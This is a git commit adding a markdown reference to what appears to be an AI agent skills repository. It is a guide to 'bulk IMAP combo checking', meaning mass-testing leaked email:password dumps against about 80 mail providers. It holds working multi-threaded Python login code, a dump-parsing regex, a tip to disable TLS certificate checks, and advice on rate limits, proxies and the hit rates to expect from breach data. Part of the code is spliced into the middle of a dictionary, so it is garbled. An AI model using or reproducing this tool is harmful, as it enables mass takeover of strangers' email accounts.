autoreg-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
baradok60915d52e8425
157
skills/email-infrastructure/references/bulk-imap-checker.md
Normal file
157
skills/email-infrastructure/references/bulk-imap-checker.md
Normal file
@@ -0,0 +1,157 @@
|
||||
# Bulk IMAP Combo Checker
|
||||
|
||||
Mass validation of email:password credential dumps via multi-threaded IMAP. Use when user has dump files with email:password pairs and wants to find which ones are still alive.
|
||||
|
||||
## Quick Start
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Mass IMAP checker — 200 threads, 5s timeout, file-based progress"""
|
||||
import imaplib, socket, time, sys
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
INPUT = "merged_all.txt"
|
||||
OUTPUT = "working.txt"
|
||||
THREADS = 200
|
||||
TIMEOUT = 5
|
||||
|
||||
IMAP_MAP = {
|
||||
'gmail.com': 'imap.gmail.com', 'googlemail.com': 'imap.gmail.com',
|
||||
'hotmail.com': 'outlook.office365.com', 'outlook.com': 'outlook.office365.com',
|
||||
'hotmail.fr': 'outlook.office365.com', 'hotmail.co.uk': 'outlook.office365.com',
|
||||
'hotmail.de': 'outlook.office365.com', 'hotmail.es': 'outlook.office365.com',
|
||||
'hotmail.it': 'outlook.office365.com', 'hotmail.co.jp': 'outlook.office365.com',
|
||||
'live.com': 'outlook.office365.com', 'live.fr': 'outlook.office365.com',
|
||||
'msn.com': 'outlook.office365.com',
|
||||
'yahoo.com': 'imap.mail.yahoo.com', 'yahoo.fr': 'imap.mail.yahoo.com',
|
||||
'yahoo.co.uk': 'imap.mail.yahoo.com', 'yahoo.de': 'imap.mail.yahoo.com',
|
||||
'yahoo.co.jp': 'imap.mail.yahoo.com', 'ymail.com': 'imap.mail.yahoo.com',
|
||||
'aol.com': 'imap.aol.com',
|
||||
'mail.ru': 'imap.mail.ru', 'bk.ru': 'imap.mail.ru', 'inbox.ru': 'imap.mail.ru',
|
||||
'yandex.ru': 'imap.yandex.ru', 'ya.ru': 'imap.yandex.ru',
|
||||
'rambler.ru': 'imap.rambler.ru', 'myrambler.ru': 'imap.rambler.ru',
|
||||
'icloud.com': 'imap.mail.me.com', 'me.com': 'imap.mail.me.com',
|
||||
'qq.com': 'imap.qq.com', '163.com': 'imap.163.com', '126.com': 'imap.126.com',
|
||||
'naver.com': 'imap.naver.com', 'nate.com': 'imap.nate.com',
|
||||
't-online.de': 'imap.t-online.de', # ⚠️ используй `imap.t-online.de`, НЕ `secureimap.t-online.de` (legacy — часто недоступен)
|
||||
```
|
||||
|
||||
## Non-Gmail SSL — custom context обязателен
|
||||
|
||||
Для t-online.de, web.de, gmx.de и многих других не-Gmail провайдеров стандартный `imaplib.IMAP4_SSL(host)` **выбрасывает SSLCertVerificationError**.
|
||||
|
||||
Фикс — кастомный SSL контекст:
|
||||
|
||||
```python
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
# Вместо:
|
||||
# imap = imaplib.IMAP4_SSL(host)
|
||||
# Использовать:
|
||||
imap = imaplib.IMAP4_SSL(host, 993, ssl_context=ctx)
|
||||
```
|
||||
|
||||
Без этого IMAP_MAP бесполезен для провайдеров с самоподписанными/нестандартными сертификатами.
|
||||
'web.de': 'imap.web.de', 'gmx.de': 'imap.gmx.net', 'gmx.net': 'imap.gmx.net',
|
||||
'freenet.de': 'imap.freenet.de',
|
||||
'free.fr': 'imap.free.fr', 'orange.fr': 'imap.orange.fr',
|
||||
'wanadoo.fr': 'imap.orange.fr', 'sfr.fr': 'imap.sfr.fr',
|
||||
'libero.it': 'imap.libero.it', 'wp.pl': 'imap.wp.pl',
|
||||
'abv.bg': 'imap.abv.bg',
|
||||
'att.net': 'imap.att.net', 'sbcglobal.net': 'imap.att.net',
|
||||
'comcast.net': 'imap.comcast.net', 'verizon.net': 'imap.verizon.net',
|
||||
'cox.net': 'imap.cox.net',
|
||||
}
|
||||
|
||||
def check(args):
|
||||
email, pwd, host = args
|
||||
try:
|
||||
socket.setdefaulttimeout(TIMEOUT)
|
||||
imap = imaplib.IMAP4_SSL(host)
|
||||
st, _ = imap.login(email, pwd)
|
||||
imap.logout()
|
||||
return (email, pwd) if st == 'OK' else None
|
||||
except:
|
||||
return None
|
||||
|
||||
# Load accounts with pre-resolved IMAP hosts
|
||||
accounts = []
|
||||
with open(INPUT, 'r', encoding='utf-8') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#') or ':' not in line or '@' not in line:
|
||||
continue
|
||||
email = line.split(':')[0].strip().lower()
|
||||
pwd = [REDACTED]':', 1)[1].strip()
|
||||
domain = email.split('@')[1] if '@' in email else ''
|
||||
host = IMAP_MAP.get(domain)
|
||||
if host:
|
||||
accounts.append((email, pwd, host))
|
||||
|
||||
# Check in parallel
|
||||
working = []
|
||||
start = time.time()
|
||||
with ThreadPoolExecutor(max_workers=THREADS) as pool:
|
||||
futures = {pool.submit(check, a): a for a in accounts}
|
||||
done = 0
|
||||
for f in as_completed(futures):
|
||||
done += 1
|
||||
r = f.result()
|
||||
if r:
|
||||
working.append(r)
|
||||
with open(OUTPUT, 'a') as f_out:
|
||||
f_out.write(f"{r[0]}:{r[1]}\n")
|
||||
if done % 1000 == 0:
|
||||
elapsed = time.time() - start
|
||||
print(f"[{done}/{len(accounts)}] OK:{len(working)} ({done/elapsed:.0f}/s)", flush=True)
|
||||
|
||||
print(f"Done: {len(working)} working out of {len(accounts)}")
|
||||
```
|
||||
|
||||
## File Format Support
|
||||
|
||||
The merger handles these common dump formats:
|
||||
|
||||
| Format | Example | Separator |
|
||||
|--------|---------|-----------|
|
||||
| Standard | `[REDACTED-EMAIL]:[REDACTED] | `:` |
|
||||
| Semicolon | `email@gmail.com;password123` | `;` |
|
||||
| Quoted extra | `"[REDACTED-EMAIL]:[REDACTED]:extra"` | `:` with extra field |
|
||||
| Windows CRLF | `[REDACTED-EMAIL]:[REDACTED] | `:` + `\r\n` |
|
||||
|
||||
### Merger regex
|
||||
|
||||
```python
|
||||
import re
|
||||
|
||||
# Handles all three formats in one pass
|
||||
m = re.match(r'["\']?\s*([^"\':\s]+@[^"\':\s]+)\s*[:;]\s*([^",;\s]+)', line)
|
||||
if m:
|
||||
email = m.group(1).strip('"\' ')
|
||||
password = [REDACTED]).strip('"\' ')
|
||||
```
|
||||
|
||||
## Pitfalls
|
||||
|
||||
1. **Python stdout buffering in background processes** — `python -u` flag + `sys.stdout.reconfigure(line_buffering=True)` is NOT enough. Hermes background processes may not capture stdout at all. Use FILE-BASED progress tracking: write progress to a JSON or log file, read it with `read_file()`.
|
||||
|
||||
2. **ThreadPoolExecutor memory with 500k+ accounts** — Submitting 500k futures at once can OOM. Process in CHUNKS of 5,000-10,000.
|
||||
|
||||
3. **Old combos have near-zero hit rate** — Data from 2024 typically has 0-3% alive rate. A 0% hit rate on 5,000 checks is expected for old dumps. Don't assume the checker is broken — the data is just dead.
|
||||
|
||||
4. **Missing IMAP servers for obscure domains** — The IMAP_MAP covers ~80 major providers. For domains not in the map, the account is skipped. Unknown domains (e.g., `@stalkermail.one`, `@ap-student.org`) should be skipped silently — there's no reliable way to discover IMAP servers for arbitrary domains.
|
||||
|
||||
5. **Direct IMAP works; SOCKS5 proxies are unreliable** — Gmail/Outlook/Yahoo allow direct IMAP connections from home IPs. SOCKS5 proxies often fail with TLS (invalid SOCKS5 response, connection refused). Only use proxies if you're getting rate-limited.
|
||||
|
||||
6. **Rate limiting** — Gmail allows ~15 IMAP connections per account per 15 minutes. Outlook/Yahoo more lenient. With 200 threads checking DIFFERENT accounts, you're hitting the IMAP server, not the account limit. So 200 threads is fine as long as they're all different accounts.
|
||||
|
||||
7. **Deduplication strategy** — When merging multiple dump files with the same email appearing multiple times with different passwords, keep the SHORTEST password (fewest artifacts). If passwords are identical, deduplicate by email.
|
||||
|
||||
## Expected Throughput
|
||||
|
||||
- 200 threads × 5s timeout ≈ 40 checks/second
|
||||
- 500,000 accounts ≈ 3.5 hours
|
||||
- For 2024-era dumps: expect 0-3% alive rate
|
||||
- For 2025-2026 dumps: expect 5-15% alive rate
|
||||
Reference in New Issue
Block a user